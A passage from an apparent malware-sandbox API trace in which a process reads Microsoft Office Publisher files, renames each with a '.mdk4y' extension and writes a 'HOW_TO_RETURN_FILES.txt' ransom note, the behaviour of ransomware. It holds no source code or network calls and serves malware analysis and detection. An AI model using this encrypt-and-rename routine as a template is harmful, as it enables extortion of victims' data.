nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xc8f8, lpOverlapped=0x0) returned 1 [0237.776] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831300600000) returned 1 [0237.776] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831300600000) returned 1 [0237.776] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBBA\\MSPUB2A.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\pubba\\mspub2a.bdr"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBBA\\MSPUB2A.BDR.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pubba\\mspub2a.bdr.mdk4y")) returned 1 [0237.778] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0237.778] AreFileApisANSI () returned 1 [0237.778] GetACP () returned 0x4e4 [0237.778] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MSPUB2B.BDR", cchWideChar=11, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="MSPUB2B.BDR", lpUsedDefaultChar=0x37df4c) returned 11 [0237.778] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBBA\\MSPUB2B.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\pubba\\mspub2b.bdr"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0237.780] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831300900000) returned 1 [0237.780] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x3e00, lpOverlapped=0x0) returned 1 [0237.781] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831301100000) returned 1 [0237.781] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831301100000) returned 1 [0237.781] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBBA\\MSPUB2B.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\pubba\\mspub2b.bdr"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBBA\\MSPUB2B.BDR.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pubba\\mspub2b.bdr.mdk4y")) returned 1 [0237.782] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0237.782] AreFileApisANSI () returned 1 [0237.782] GetACP () returned 0x4e4 [0237.782] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MSPUB3A.BDR", cchWideChar=11, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="MSPUB3A.BDR", lpUsedDefaultChar=0x37df4c) returned 11 [0237.782] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBBA\\MSPUB3A.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\pubba\\mspub3a.bdr"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0237.783] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831301300000) returned 1 [0237.783] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xde58, lpOverlapped=0x0) returned 1 [0237.810] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831304000000) returned 1 [0237.810] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831304000000) returned 1 [0237.811] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBBA\\MSPUB3A.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\pubba\\mspub3a.bdr"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBBA\\MSPUB3A.BDR.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pubba\\mspub3a.bdr.mdk4y")) returned 1 [0237.813] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0237.813] AreFileApisANSI () returned 1 [0237.813] GetACP () returned 0x4e4 [0237.813] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MSPUB3B.BDR", cchWideChar=11, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="MSPUB3B.BDR", lpUsedDefaultChar=0x37df4c) returned 11 [0237.813] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBBA\\MSPUB3B.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\pubba\\mspub3b.bdr"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0237.815] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831304500000) returned 1 [0237.815] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xf4e, lpOverlapped=0x0) returned 1 [0237.828] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831305800000) returned 1 [0237.828] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831305800000) returned 1 [0237.829] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBBA\\MSPUB3B.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\pubba\\mspub3b.bdr"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBBA\\MSPUB3B.BDR.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pubba\\mspub3b.bdr.mdk4y")) returned 1 [0237.830] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0237.830] AreFileApisANSI () returned 1 [0237.830] GetACP () returned 0x4e4 [0237.830] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MSPUB4.BDR", cchWideChar=10, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="MSPUB4.BDRR", lpUsedDefaultChar=0x37df4c) returned 10 [0237.830] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBBA\\MSPUB4.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\pubba\\mspub4.bdr"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0237.833] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831306300000) returned 1 [0237.833] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xc144, lpOverlapped=0x0) returned 1 [0237.867] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831309700000) returned 1 [0237.867] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831309700000) returned 1 [0237.868] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBBA\\MSPUB4.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\pubba\\mspub4.bdr"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBBA\\MSPUB4.BDR.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pubba\\mspub4.bdr.mdk4y")) returned 1 [0237.869] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0237.869] AreFileApisANSI () returned 1 [0237.870] GetACP () returned 0x4e4 [0237.870] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MSPUB5A.BDR", cchWideChar=11, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="MSPUB5A.BDR", lpUsedDefaultChar=0x37df4c) returned 11 [0237.870] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBBA\\MSPUB5A.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\pubba\\mspub5a.bdr"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0237.871] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831310100000) returned 1 [0237.871] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xcfb4, lpOverlapped=0x0) returned 1 [0237.918] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831314800000) returned 1 [0237.918] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831314800000) returned 1 [0237.919] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBBA\\MSPUB5A.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\pubba\\mspub5a.bdr"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBBA\\MSPUB5A.BDR.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pubba\\mspub5a.bdr.mdk4y")) returned 1 [0237.920] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0237.920] AreFileApisANSI () returned 1 [0237.920] GetACP () returned 0x4e4 [0237.920] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MSPUB5B.BDR", cchWideChar=11, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="MSPUB5B.BDR", lpUsedDefaultChar=0x37df4c) returned 11 [0237.921] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBBA\\MSPUB5B.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\pubba\\mspub5b.bdr"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0237.922] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831315200000) returned 1 [0237.922] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x2476, lpOverlapped=0x0) returned 1 [0237.930] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831315900000) returned 1 [0237.930] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831316000000) returned 1 [0237.930] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBBA\\MSPUB5B.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\pubba\\mspub5b.bdr"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBBA\\MSPUB5B.BDR.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pubba\\mspub5b.bdr.mdk4y")) returned 1 [0237.931] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0237.931] AreFileApisANSI () returned 1 [0237.931] GetACP () returned 0x4e4 [0237.931] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MSPUB6.BDR", cchWideChar=10, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="MSPUB6.BDRR", lpUsedDefaultChar=0x37df4c) returned 10 [0237.932] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBBA\\MSPUB6.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\pubba\\mspub6.bdr"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0237.933] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831316300000) returned 1 [0237.933] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x7f46, lpOverlapped=0x0) returned 1 [0237.971] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831320100000) returned 1 [0237.971] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831320100000) returned 1 [0237.972] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBBA\\MSPUB6.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\pubba\\mspub6.bdr"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBBA\\MSPUB6.BDR.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pubba\\mspub6.bdr.mdk4y")) returned 1 [0237.973] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0237.973] AreFileApisANSI () returned 1 [0237.973] GetACP () returned 0x4e4 [0237.973] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MSPUB7.BDR", cchWideChar=10, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="MSPUB7.BDR", lpUsedDefaultChar=0x37df4c) returned 10 [0237.973] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBBA\\MSPUB7.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\pubba\\mspub7.bdr"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0237.975] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831320500000) returned 1 [0237.975] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x799a, lpOverlapped=0x0) returned 1 [0237.991] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831322100000) returned 1 [0237.991] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831322100000) returned 1 [0237.992] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBBA\\MSPUB7.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\pubba\\mspub7.bdr"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBBA\\MSPUB7.BDR.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pubba\\mspub7.bdr.mdk4y")) returned 1 [0237.993] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0237.993] AreFileApisANSI () returned 1 [0237.993] GetACP () returned 0x4e4 [0237.993] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MSPUB8.BDR", cchWideChar=10, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="MSPUB8.BDR", lpUsedDefaultChar=0x37df4c) returned 10 [0237.993] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBBA\\MSPUB8.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\pubba\\mspub8.bdr"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0237.995] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831322500000) returned 1 [0237.995] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xe6aa, lpOverlapped=0x0) returned 1 [0238.016] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831324600000) returned 1 [0238.016] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831324600000) returned 1 [0238.016] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBBA\\MSPUB8.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\pubba\\mspub8.bdr"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBBA\\MSPUB8.BDR.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pubba\\mspub8.bdr.mdk4y")) returned 1 [0238.018] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0238.018] AreFileApisANSI () returned 1 [0238.018] GetACP () returned 0x4e4 [0238.018] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MSPUB9.BDR", cchWideChar=10, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="MSPUB9.BDR", lpUsedDefaultChar=0x37df4c) returned 10 [0238.018] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBBA\\MSPUB9.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\pubba\\mspub9.bdr"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0238.020] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831325000000) returned 1 [0238.020] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x6bbe, lpOverlapped=0x0) returned 1 [0238.021] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831325100000) returned 1 [0238.021] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831325100000) returned 1 [0238.021] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBBA\\MSPUB9.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\pubba\\mspub9.bdr"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBBA\\MSPUB9.BDR.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pubba\\mspub9.bdr.mdk4y")) returned 1 [0238.023] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 0 [0238.023] FindClose (in: hFindFile=0x6ab310 | out: hFindFile=0x6ab310) returned 1 [0238.024] AreFileApisANSI () returned 1 [0238.024] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6b9f70, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 73 [0238.024] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBBA\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\pubba\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dc84, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0238.024] GetFileType (hFile=0x12c) returned 0x1 [0238.025] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0238.025] AreFileApisANSI () returned 1 [0238.025] GetACP () returned 0x4e4 [0238.025] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PUBCONV.DLL", cchWideChar=11, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="PUBCONV.DLLL", lpUsedDefaultChar=0x37dfd8) returned 11 [0238.025] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBCONV.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\pubconv.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0238.027] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1831325700000) returned 1 [0238.027] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0xddf78, lpOverlapped=0x0) returned 1 [0238.068] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1831329900000) returned 1 [0238.069] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1831329900000) returned 1 [0238.079] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBCONV.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\pubconv.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBCONV.DLL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pubconv.dll.mdk4y")) returned 1 [0238.082] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0238.082] AreFileApisANSI () returned 1 [0238.082] GetACP () returned 0x4e4 [0238.082] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PUBTRAP.DLL", cchWideChar=11, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="PUBTRAP.DLL", lpUsedDefaultChar=0x37dfd8) returned 11 [0238.083] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBTRAP.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\pubtrap.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0238.086] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1831331600000) returned 1 [0238.086] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0xe778, lpOverlapped=0x0) returned 1 [0238.089] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1831331900000) returned 1 [0238.089] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1831331900000) returned 1 [0238.090] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBTRAP.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\pubtrap.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBTRAP.DLL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pubtrap.dll.mdk4y")) returned 1 [0238.095] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0238.095] AreFileApisANSI () returned 1 [0238.095] GetACP () returned 0x4e4 [0238.095] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PUBWIZ", cchWideChar=6, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="PUBWIZP.DLL", lpUsedDefaultChar=0x37dfd8) returned 6 [0238.095] AreFileApisANSI () returned 1 [0238.095] GetACP () returned 0x4e4 [0238.095] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x69d210, cbMultiByte=50, lpWideCharStr=0x37dd6c, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\") returned 50 [0238.098] AreFileApisANSI () returned 1 [0238.098] GetACP () returned 0x4e4 [0238.098] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr=".V2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD", lpUsedDefaultChar=0x37df4c) returned 1 [0238.098] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0238.121] AreFileApisANSI () returned 1 [0238.121] GetACP () returned 0x4e4 [0238.121] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="..2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD", lpUsedDefaultChar=0x37df4c) returned 2 [0238.121] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0238.121] AreFileApisANSI () returned 1 [0238.121] GetACP () returned 0x4e4 [0238.121] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ACCSBAR.POC", cchWideChar=11, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | 